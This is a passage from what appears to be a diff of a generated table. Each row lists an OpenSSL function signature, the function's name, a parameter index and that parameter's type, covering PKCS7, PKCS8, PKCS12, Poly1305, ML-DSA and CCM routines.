(PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_add_signer | 0 | PKCS7 * | +| (PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_add_signer | 1 | PKCS7_SIGNER_INFO * | +| (PKCS7 *,X509 *) | | PKCS7_add_certificate | 0 | PKCS7 * | +| (PKCS7 *,X509 *) | | PKCS7_add_certificate | 1 | X509 * | +| (PKCS7 *,X509 *) | | PKCS7_add_recipient | 0 | PKCS7 * | +| (PKCS7 *,X509 *) | | PKCS7_add_recipient | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 0 | PKCS7 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 2 | EVP_PKEY * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_add_signature | 3 | const EVP_MD * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 0 | PKCS7 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 1 | X509 * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 2 | EVP_PKEY * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 3 | const EVP_MD * | +| (PKCS7 *,X509 *,EVP_PKEY *,const EVP_MD *,int) | | PKCS7_sign_add_signer | 4 | int | +| (PKCS7 *,X509_CRL *) | | PKCS7_add_crl | 0 | PKCS7 * | +| (PKCS7 *,X509_CRL *) | | PKCS7_add_crl | 1 | X509_CRL * | +| (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 0 | PKCS7 * | +| (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | const char * | +| (PKCS7 *,int) | | PKCS7_set_type | 0 | PKCS7 * | +| (PKCS7 *,int) | | PKCS7_set_type | 1 | int | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 0 | PKCS7 * | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 1 | int | +| (PKCS7 *,int,ASN1_TYPE *) | | PKCS7_set0_type_other | 2 | ASN1_TYPE * | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 0 | PKCS7 * | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 1 | int | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 2 | long | +| (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | char * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 2 | X509_STORE * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 3 | BIO * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 4 | BIO * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,int) | | PKCS7_verify | 5 | int | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 2 | X509_STORE * | +| (PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **) | | TS_RESP_verify_signature | 3 | X509 ** | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 0 | PKCS7 * | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 1 | stack_st_X509 * | +| (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | int | +| (PKCS7_DIGEST *) | | PKCS7_DIGEST_free | 0 | PKCS7_DIGEST * | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 0 | PKCS7_DIGEST ** | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 1 | const unsigned char ** | +| (PKCS7_DIGEST **,const unsigned char **,long) | | d2i_PKCS7_DIGEST | 2 | long | +| (PKCS7_ENCRYPT *) | | PKCS7_ENCRYPT_free | 0 | PKCS7_ENCRYPT * | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 0 | PKCS7_ENCRYPT ** | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 1 | const unsigned char ** | +| (PKCS7_ENCRYPT **,const unsigned char **,long) | | d2i_PKCS7_ENCRYPT | 2 | long | +| (PKCS7_ENC_CONTENT *) | | PKCS7_ENC_CONTENT_free | 0 | PKCS7_ENC_CONTENT * | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 0 | PKCS7_ENC_CONTENT ** | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 1 | const unsigned char ** | +| (PKCS7_ENC_CONTENT **,const unsigned char **,long) | | d2i_PKCS7_ENC_CONTENT | 2 | long | +| (PKCS7_ENVELOPE *) | | PKCS7_ENVELOPE_free | 0 | PKCS7_ENVELOPE * | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 0 | PKCS7_ENVELOPE ** | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 1 | const unsigned char ** | +| (PKCS7_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_ENVELOPE | 2 | long | +| (PKCS7_ISSUER_AND_SERIAL *) | | PKCS7_ISSUER_AND_SERIAL_free | 0 | PKCS7_ISSUER_AND_SERIAL * | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 0 | PKCS7_ISSUER_AND_SERIAL ** | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 1 | const unsigned char ** | +| (PKCS7_ISSUER_AND_SERIAL **,const unsigned char **,long) | | d2i_PKCS7_ISSUER_AND_SERIAL | 2 | long | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 0 | PKCS7_ISSUER_AND_SERIAL * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 1 | const EVP_MD * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 2 | unsigned char * | +| (PKCS7_ISSUER_AND_SERIAL *,const EVP_MD *,unsigned char *,unsigned int *) | | PKCS7_ISSUER_AND_SERIAL_digest | 3 | unsigned int * | +| (PKCS7_RECIP_INFO *) | | PKCS7_RECIP_INFO_free | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 0 | PKCS7_RECIP_INFO ** | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 1 | const unsigned char ** | +| (PKCS7_RECIP_INFO **,const unsigned char **,long) | | d2i_PKCS7_RECIP_INFO | 2 | long | +| (PKCS7_RECIP_INFO *,X509 *) | | PKCS7_RECIP_INFO_set | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO *,X509 *) | | PKCS7_RECIP_INFO_set | 1 | X509 * | +| (PKCS7_RECIP_INFO *,X509_ALGOR **) | | PKCS7_RECIP_INFO_get0_alg | 0 | PKCS7_RECIP_INFO * | +| (PKCS7_RECIP_INFO *,X509_ALGOR **) | | PKCS7_RECIP_INFO_get0_alg | 1 | X509_ALGOR ** | +| (PKCS7_SIGNED *) | | PKCS7_SIGNED_free | 0 | PKCS7_SIGNED * | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 0 | PKCS7_SIGNED ** | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 1 | const unsigned char ** | +| (PKCS7_SIGNED **,const unsigned char **,long) | | d2i_PKCS7_SIGNED | 2 | long | +| (PKCS7_SIGNER_INFO *) | | PKCS7_SIGNER_INFO_free | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 0 | PKCS7_SIGNER_INFO ** | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 1 | const unsigned char ** | +| (PKCS7_SIGNER_INFO **,const unsigned char **,long) | | d2i_PKCS7_SIGNER_INFO | 2 | long | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 1 | EVP_PKEY ** | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 2 | X509_ALGOR ** | +| (PKCS7_SIGNER_INFO *,EVP_PKEY **,X509_ALGOR **,X509_ALGOR **) | | PKCS7_SIGNER_INFO_get0_algs | 3 | X509_ALGOR ** | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 1 | X509 * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 2 | EVP_PKEY * | +| (PKCS7_SIGNER_INFO *,X509 *,EVP_PKEY *,const EVP_MD *) | | PKCS7_SIGNER_INFO_set | 3 | const EVP_MD * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *) | | PKCS7_add_attrib_smimecap | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ALGOR *) | | PKCS7_add_attrib_smimecap | 1 | stack_st_X509_ALGOR * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_attributes | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_attributes | 1 | stack_st_X509_ATTRIBUTE * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_signed_attributes | 0 | PKCS7_SIGNER_INFO * | +| (PKCS7_SIGNER_INFO *,stack_st_X509_ATTRIBUTE *) | | PKCS7_set_signed_attributes | 1 | stack_st_X509_ATTRIBUTE * | +| (PKCS7_SIGN_ENVELOPE *) | | PKCS7_SIGN_ENVELOPE_free | 0 | PKCS7_SIGN_ENVELOPE * | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 0 | PKCS7_SIGN_ENVELOPE ** | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 1 | const unsigned char ** | +| (PKCS7_SIGN_ENVELOPE **,const unsigned char **,long) | | d2i_PKCS7_SIGN_ENVELOPE | 2 | long | +| (PKCS8_PRIV_KEY_INFO *) | | PKCS8_PRIV_KEY_INFO_free | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create0_p8inf | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 0 | PKCS8_PRIV_KEY_INFO ** | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 1 | const unsigned char ** | +| (PKCS8_PRIV_KEY_INFO **,const unsigned char **,long) | | d2i_PKCS8_PRIV_KEY_INFO | 2 | long | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 1 | ASN1_OBJECT * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 2 | int | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 3 | int | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 4 | void * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 5 | unsigned char * | +| (PKCS8_PRIV_KEY_INFO *,ASN1_OBJECT *,int,int,void *,unsigned char *,int) | | PKCS8_pkey_set0 | 6 | int | +| (PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *) | | PKCS8_pkey_add1_attr | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,X509_ATTRIBUTE *) | | PKCS8_pkey_add1_attr | 1 | X509_ATTRIBUTE * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 0 | PKCS8_PRIV_KEY_INFO * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 2 | int | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 3 | const unsigned char * | +| (PKCS8_PRIV_KEY_INFO *,const ASN1_OBJECT *,int,const unsigned char *,int) | | PKCS8_pkey_add1_attr_by_OBJ | 4 | int | +| (PKCS12 *) | | PKCS12_free | 0 | PKCS12 * | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 0 | PKCS12 ** | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 1 | const unsigned char ** | +| (PKCS12 **,const unsigned char **,long) | | d2i_PKCS12 | 2 | long | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 0 | PKCS12 * | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 1 | const char * | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 2 | EVP_PKEY ** | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 3 | X509 ** | +| (PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **) | | PKCS12_parse | 4 | stack_st_X509 ** | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 0 | PKCS12 * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 1 | const char * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 2 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 3 | unsigned char * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 4 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 5 | int | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 6 | const EVP_MD * | +| (PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *) | | PKCS12_set_pbmac1_pbkdf2 | 7 | const char * | +| (PKCS12 *,stack_st_PKCS7 *) | | PKCS12_pack_authsafes | 0 | PKCS12 * | +| (PKCS12 *,stack_st_PKCS7 *) | | PKCS12_pack_authsafes | 1 | stack_st_PKCS7 * | +| (PKCS12_BAGS *) | | PKCS12_BAGS_free | 0 | PKCS12_BAGS * | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 0 | PKCS12_BAGS ** | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 1 | const unsigned char ** | +| (PKCS12_BAGS **,const unsigned char **,long) | | d2i_PKCS12_BAGS | 2 | long | +| (PKCS12_BUILDER *) | | end_pkcs12_builder | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 1 | const unsigned char * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 2 | int | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | add_certbag | 3 | const PKCS12_ATTR * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 1 | const unsigned char * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 2 | int | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *) | | check_certbag | 3 | const PKCS12_ATTR * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 1 | const unsigned char * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 2 | int | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 3 | const PKCS12_ATTR * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | add_keybag | 4 | const PKCS12_ENC * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 1 | const unsigned char * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 2 | int | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 3 | const PKCS12_ATTR * | +| (PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *) | | check_keybag | 4 | const PKCS12_ENC * | +| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 0 | PKCS12_BUILDER * | +| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 1 | int | +| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 2 | const char * | +| (PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *) | | add_secretbag | 3 | const PKCS12_ATTR * | +| (PKCS12_MAC_DATA *) | | PKCS12_MAC_DATA_free | 0 | PKCS12_MAC_DATA * | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 0 | PKCS12_MAC_DATA ** | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 1 | const unsigned char ** | +| (PKCS12_MAC_DATA **,const unsigned char **,long) | | d2i_PKCS12_MAC_DATA | 2 | long | +| (PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_free | 0 | PKCS12_SAFEBAG * | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 0 | PKCS12_SAFEBAG ** | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 1 | const unsigned char ** | +| (PKCS12_SAFEBAG **,const unsigned char **,long) | | d2i_PKCS12_SAFEBAG | 2 | long | +| (PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *) | | PKCS12_SAFEBAG_set0_attrs | 0 | PKCS12_SAFEBAG * | +| (PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *) | | PKCS12_SAFEBAG_set0_attrs | 1 | stack_st_X509_ATTRIBUTE * | +| (PKEY_USAGE_PERIOD *) | | PKEY_USAGE_PERIOD_free | 0 | PKEY_USAGE_PERIOD * | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 0 | PKEY_USAGE_PERIOD ** | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 1 | const unsigned char ** | +| (PKEY_USAGE_PERIOD **,const unsigned char **,long) | | d2i_PKEY_USAGE_PERIOD | 2 | long | +| (POLICYINFO *) | | POLICYINFO_free | 0 | POLICYINFO * | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 0 | POLICYINFO ** | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 1 | const unsigned char ** | +| (POLICYINFO **,const unsigned char **,long) | | d2i_POLICYINFO | 2 | long | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 0 | POLICYINFO * | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 1 | const ASN1_OBJECT * | +| (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | int | +| (POLICYQUALINFO *) | | POLICYQUALINFO_free | 0 | POLICYQUALINFO * | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 0 | POLICYQUALINFO ** | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 1 | const unsigned char ** | +| (POLICYQUALINFO **,const unsigned char **,long) | | d2i_POLICYQUALINFO | 2 | long | +| (POLICY_CONSTRAINTS *) | | POLICY_CONSTRAINTS_free | 0 | POLICY_CONSTRAINTS * | +| (POLICY_MAPPING *) | | POLICY_MAPPING_free | 0 | POLICY_MAPPING * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 0 | POLY1305 * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 1 | const unsigned char * | +| (POLY1305 *,const unsigned char *,size_t) | | Poly1305_Update | 2 | size_t | +| (POLY1305 *,const unsigned char[32]) | | Poly1305_Init | 0 | POLY1305 * | +| (POLY1305 *,const unsigned char[32]) | | Poly1305_Init | 1 | const unsigned char[32] | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 0 | POLY * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 1 | const uint8_t * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 2 | int | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 3 | EVP_MD_CTX * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 4 | const EVP_MD * | +| (POLY *,const uint8_t *,int,EVP_MD_CTX *,const EVP_MD *,uint32_t) | | ossl_ml_dsa_poly_sample_in_ball | 5 | uint32_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 0 | POLY * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 1 | const uint8_t * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 2 | size_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 3 | uint32_t | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 4 | EVP_MD_CTX * | +| (POLY *,const uint8_t *,size_t,uint32_t,EVP_MD_CTX *,const EVP_MD *) | | ossl_ml_dsa_poly_expand_mask | 5 | const EVP_MD * | +| (PROFESSION_INFO *) | | PROFESSION_INFO_free | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 0 | PROFESSION_INFO ** | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 1 | const unsigned char ** | +| (PROFESSION_INFO **,const unsigned char **,long) | | d2i_PROFESSION_INFO | 2 | long | +| (PROFESSION_INFO *,ASN1_OCTET_STRING *) | | PROFESSION_INFO_set0_addProfessionInfo | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,ASN1_OCTET_STRING *) | | PROFESSION_INFO_set0_addProfessionInfo | 1 | ASN1_OCTET_STRING * | +| (PROFESSION_INFO *,ASN1_PRINTABLESTRING *) | | PROFESSION_INFO_set0_registrationNumber | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,ASN1_PRINTABLESTRING *) | | PROFESSION_INFO_set0_registrationNumber | 1 | ASN1_PRINTABLESTRING * | +| (PROFESSION_INFO *,NAMING_AUTHORITY *) | | PROFESSION_INFO_set0_namingAuthority | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,NAMING_AUTHORITY *) | | PROFESSION_INFO_set0_namingAuthority | 1 | NAMING_AUTHORITY * | +| (PROFESSION_INFO *,stack_st_ASN1_OBJECT *) | | PROFESSION_INFO_set0_professionOIDs | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,stack_st_ASN1_OBJECT *) | | PROFESSION_INFO_set0_professionOIDs | 1 | stack_st_ASN1_OBJECT * | +| (PROFESSION_INFO *,stack_st_ASN1_STRING *) | | PROFESSION_INFO_set0_professionItems | 0 | PROFESSION_INFO * | +| (PROFESSION_INFO *,stack_st_ASN1_STRING *) | | PROFESSION_INFO_set0_professionItems | 1 | stack_st_ASN1_STRING * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 1 | const unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 2 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 3 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 4 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_decrypt | 5 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 0 | PROV_CCM_CTX * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 1 | const unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 2 | unsigned char * | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | ossl_ccm_generic_auth_encrypt | 3 | size_t | +| (PROV_CCM_CTX *,const unsigned char *,unsigned char *,size_t,unsigned char *,size_t) | | 